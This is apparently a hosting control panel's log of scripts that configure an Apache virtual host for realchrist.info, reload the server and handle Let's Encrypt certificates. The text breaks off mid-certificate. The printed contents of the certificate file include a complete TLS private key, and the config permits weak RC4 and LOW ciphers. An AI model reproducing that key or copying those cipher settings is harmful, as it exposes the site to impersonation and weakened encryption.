ErrorLog /var/log/apache2/realchrist/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_secure_access.log combined
ErrorLog /var/log/apache2/realchrist/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-30 06:00:16:
PUT: /tmp/pkp978038
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realchrist_www_info.conf
TARGET=/etc/apache2/sites-enabled/realchrist_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_access.log combined
ErrorLog /var/log/apache2/realchrist/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_secure_access.log combined
ErrorLog /var/log/apache2/realchrist/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/realchrist_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf= 1'
fi
2025-09-30 06:00:16:
chmod 755 /tmp/pkp978038; /tmp/pkp978038; rm /tmp/pkp978038
2025-09-30 06:00:16:
2025-09-30 06:00:16:
PUT: /tmp/pkp197612
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-30 06:00:16:
chmod 755 /tmp/pkp197612; /tmp/pkp197612; rm /tmp/pkp197612
2025-09-30 06:00:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-30 06:00:16: Establishing a connection
2025-09-30 06:00:16:
PUT: /tmp/pkp389558
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-30 06:00:16:
chmod 755 /tmp/pkp389558; /tmp/pkp389558; rm /tmp/pkp389558
2025-09-30 06:00:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-30 06:00:17:
PUT: /tmp/pkp414292
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/realchrist_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-30 06:00:17:
chmod 755 /tmp/pkp414292; /tmp/pkp414292; rm /tmp/pkp414292
2025-09-30 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 1393
<VirtualHost *:80>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_access.log combined
ErrorLog /var/log/apache2/realchrist/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName realchrist.info
ServerAlias www.realchrist.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
DocumentRoot /var/www/realchrist_www
<Directory /var/www/realchrist_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/realchrist/www_secure_access.log combined
ErrorLog /var/log/apache2/realchrist/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-30 06:00:17:
PUT: /tmp/pkp277398
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-30 06:00:17:
chmod 755 /tmp/pkp277398; /tmp/pkp277398; rm /tmp/pkp277398
2025-09-30 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt 5377
31:7b:19:9d:50:fa:64:33:85:fd:5f:6f:ae:65:64:f1
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBp7CHwLh/AqZJix9ISXQ2+N2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTMwMDUwMTQ1WhcNMjUxMjI5MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC4og69AOn09Ry/4oLOc6+14P0pX/fcryNp6H7wq9coK1Qda8lb2wUMfIGV9Av9
qP4KZ+wxzqqhmKOEFAWtcR7aUqsdcutqDX7B+s+Wrn+cvqSjwovgrMJ47EyP5Cj7
cV9xgJJRgsVhCK8/9GIkWA5+9IAijnj5leQdw6JoPvukj+YjTa6eXQpcQOoYUiTX
yeYCMXAGjS1NSYWZH3xOq0UqPRZLzPQgKf2l59KX+q5DPj/aUzKiUiF9s4EHNfhE
0xadcbGwLGoUBAIGWguBKWLNd8k7+WMvW0fiT/6rRwFr8AGlILJxHugDDIfSMX1U
BVqsh3bCN/35qXvVpcJ41ztvAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFNpE4BtK9CoGsAG7Am+pRSJNaJy8MB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQo
MCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE5LmNybDCCAQMGCisG
AQQB1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idP
OoRUAAABmZk1D30AAAQDAEYwRAIgDTe1OafXI7nSNOhVK2Gtg21d/UpFb8E+a6Ho
+/z/UQUCIBode/GU91lUdlSEfQpiPq0XVdz0/KzurcCo3jpzd3QsAHYAGYbUxyiq
b/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZmTUPigAABAMARzBFAiEAwz8O
SsBzUm8iv9WJJYCc4WXHYBsR8oc7B04rQ1C5FJ0CIBsU0Xq1uF/Gp+XbIyi7n/gF
aKaks5JukuAYyJsn0Bm5MA0GCSqGSIb3DQEBCwUAA4IBAQALsFVtvi78UTloGV0f
KfAZhBbvoXU+NflHSpKyLHAXedG/fDZhk81dxsCBAultJpnZCG6WegdVP68PDPgA
O6v8OyA0puL1YT0yeME3I93ujmPjppdS+U3BEOkQ3fTNh+nfmqYW+rQPr6Xrl5is
t/2MKiZ6u5IS4JF8tu1HEHjGUzhrUWmZ6VD06xAQAmXYeZdZ/epObY1isYWGLADf
beflyjYS5XnhGvsL5orlMoFnuIGQe2IcLLTpuilnIZQUB/Cty0iIjoZ4IlxLimyJ
Y/wwp/287uHPvcqgutQcjhfUFB6+2Icgei3Pw1buo9NwWABahhlKadzL5ERDeqWo
n2x4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC4og69AOn09Ry/
4oLOc6+14P0pX/fcryNp6H7wq9coK1Qda8lb2wUMfIGV9Av9qP4KZ+wxzqqhmKOE
FAWtcR7aUqsdcutqDX7B+s+Wrn+cvqSjwovgrMJ47EyP5Cj7cV9xgJJRgsVhCK8/
9GIkWA5+9IAijnj5leQdw6JoPvukj+YjTa6eXQpcQOoYUiTXyeYCMXAGjS1NSYWZ
H3xOq0UqPRZLzPQgKf2l59KX+q5DPj/aUzKiUiF9s4EHNfhE0xadcbGwLGoUBAIG
WguBKWLNd8k7+WMvW0fiT/6rRwFr8AGlILJxHugDDIfSMX1UBVqsh3bCN/35qXvV
pcJ41ztvAgMBAAECggEBAIqKT7TSsrr0EZaKSMzRUc+P+2bIdBxL7q7Rni7JQrEJ
khxhfL5IIgm0gygZ78VuwPDd+gWFpdOLzWaV/4ydjSEVVwDJ8ouphKvZn1rZpTfg
dXnLyVnVSDekV+7ArV+/OnbYmvI+xgyBj77Via7rxDTPEjbb4Tqmln0fBwZh/EEF
0rY3yVzObCi7vOIkeIdhZQuqWBGkftQFqh71X6wpqF9jBIj3rRJ3mqf0yeTFZBdo
xzhfIx++vvoko4g5odSVTNsCw15t5kzgCYgIeKp4svdyDzHwjNlQ7BjimL4q/ZfM
VLWNYFIh5KUJOVbtGAKcZWcTi6NrL42h6HPk+Wol/8ECgYEA3ooukKJXy9PFBg36
UiV9Kq6aTbGvywjyVLlcqD20mNFknv1bCAPK/PQe+Ji/I7DWyJ+DP91WpLmpTCV6
g9cr/x9iR4C+rkI3mMs4b8eJ9N8kL9sxseNdTHiuO7fJ4HkGadPc5YLqC3kbNinP
YaXPpznd40hcECA6PKUx6EcMnxMCgYEA1GTM/iSLIdfcxcZJMPa28tCS/d7GDziy
p+q3d0/XtNZkQJqiyJ3zPKrfyf8nK/fUS3QVpWV6Q/SfUAKFzbo0A/Vrq3sCmD02
iMHDcTsCxO3s8rBIwsdRicAYsenurb2YW/Y8ZgZkOD/oFPpvRh6hxeu5LefvvL57
VZCV7tsLkbUCgYAQXs/gGeElgFWNBXg1lMZpXmDBeGG7KNRSwTP8uFVRrI2fWHna
1BSZmQeyN+JPqNGT/o/0Ib8e7P10OYmSq0B0SwW6xtDAFuTqG4DyUBZo6gVKc/Bq
6pPRbUs732A9YAnFvS0RwRigcW88A8VapIzq+0nET21eTlCaZ3iNYrSd+wKBgHbJ
LXDRpVK3NI0T+ak9wlII3rzHVAP9VMXe2t8Ks3w7D3SmR3ZmCDyc4G5Lmm/Xuk68
zMJk/71z2YnY71aA1kiEgMQ2FtxoF9DidVklhMX4vzV37CmraendmrIeQFPBHq4I
B/2Tg4eGDll1Orh/t0BHNpj7B7SK39WZ+JDOxyilAoGATMxWkac1bnY629YeWZkq
kP/JLX+fKxqN3RkYPz+1ARnEAEiqN6SKEJ3eNirnRLYl5zBnpImYETqw/LZeFhTM
HOwMnl77vhq1EjepgyqoH2EkYFneKnM3yIlVGN0iqywpWxcR1kgo6MXaguEfcYJy
Fv5mOsvvQ6Zbfr/BFjW17Ns=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-30 06:00:17: Establishing a connection
2025-09-30 06:00:17: Establishing a connection
2025-09-30 06:00:17:
PUT: /tmp/pkp880817
#!/bin/bash
if [ -d "/var/www/drewmarshall_audio/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-30 06:00:18:
chmod 755 /tmp/pkp880817; /tmp/pkp880817; rm /tmp/pkp880817
2025-09-30 06:00:18:
1
2025-09-30 06:00:18: Establishing a connection
2025-09-30 06:00:18:
PUT: /tmp/pkp912159
#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cat > fNmJJP007tODjNtmOk2H-YAU8aXBuGTo9d0fFbZZDW4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fNmJJP007tODjNtmOk2H-YAU8aXBuGTo9d0fFbZZDW4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fNmJJP007tODjNtmOk2H-YAU8aXBuGTo9d0fFbZZDW4
2025-09-30 06:00:19:
chmod 755 /tmp/pkp912159; /tmp/pkp912159; rm /tmp/pkp912159
2025-09-30 06:00:19:
2025-09-30 06:00:24: Establishing a connection
2025-09-30 06:00:24:
PUT: /tmp/pkp459935
#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
rm fNmJJP007tODjNtmOk2H-YAU8aXBuGTo9d0fFbZZDW4
2025-09-30 06:00:24:
chmod 755 /tmp/pkp459935; /tmp/pkp459935; rm /tmp/pkp459935
2025-09-30 06:00:24:
2025-09-30 06:00:24: Establishing a connection
2025-09-30 06:00:24:
PUT: /tmp/pkp968380
#!/bin/bash
temp_file=$(mktemp)
TARGET=33fbf8d7936a8c67fb764b1ea4759d7a.crt
cat > $temp_file <<'endmsg'
4c:4c:3e:1d:c2:0f:7d:02:d4:9c:f0:e2:51:13:f6:34
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBsGeoszxCi+BF4FCGrJmih78MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTMwMDUwMTU0WhcNMjUxMjI5MDUwMTUzWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC2VdaoXctxomw7V5DTf9wxpJXGPSVC5lNG9CySDWyMWeSHuzUOXryL
ccMltqVLBaRwJv9bj8iGg9sQNOlTFvydcWaS+clj6a9Gk712ebm41o/7g0cfW+gR
5/UfmDrR/w9c4gUfmtRAiyaVKMTl8j3xAvjygGj1O3BTj1MVEvInnoolZ2//UL/M
/46mzZ1GwTo9WpxfzIM63YkicQ8SxfYFFUPg9OflUzctHaPPex225ShWlEYNOfZ+
C4zRqrR9UAZNXKg7sJqJptzqOrW5oYPwDJh+oVhua/p9VDTgLMrk0hdYHchwOMmo
UHY4cWmjfJ5BkS8EOePbaa3Kiko0XgTlAgMBAAGjggImMIICIjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFARIzj/LVDmyWY3C0CM532HyC1H7MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI1LmNybDCCAQQGCisGAQQB1nkCBAIE
gfUEgfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmZk1
MSgAAAQDAEcwRQIgNEymkX3vpmK7898jY4PQZ+XkTdz95IntA4XvM086znICIQDC
p0whyE0c8m5/RpJpY2oX4P8RG9wO1A4HaEqz9Y1ZTQB2AMz7D2qFcQll/pWbU87p
snwi6YVcDZeNtql+VMD+TA2wAAABmZk1MXgAAAQDAEcwRQIgUvu6A/kqABvfIxAO
h3XUIAEN/sqT0XTgMS7dtsMhXOsCIQDXgULDBiP2up7OBefDyNZD4eP53Wpz7Btn
Opod//MNQjANBgkqhkiG9w0BAQsFAAOCAQEApAb3RHbOMDAvNaRmK9F5rlElnYfU
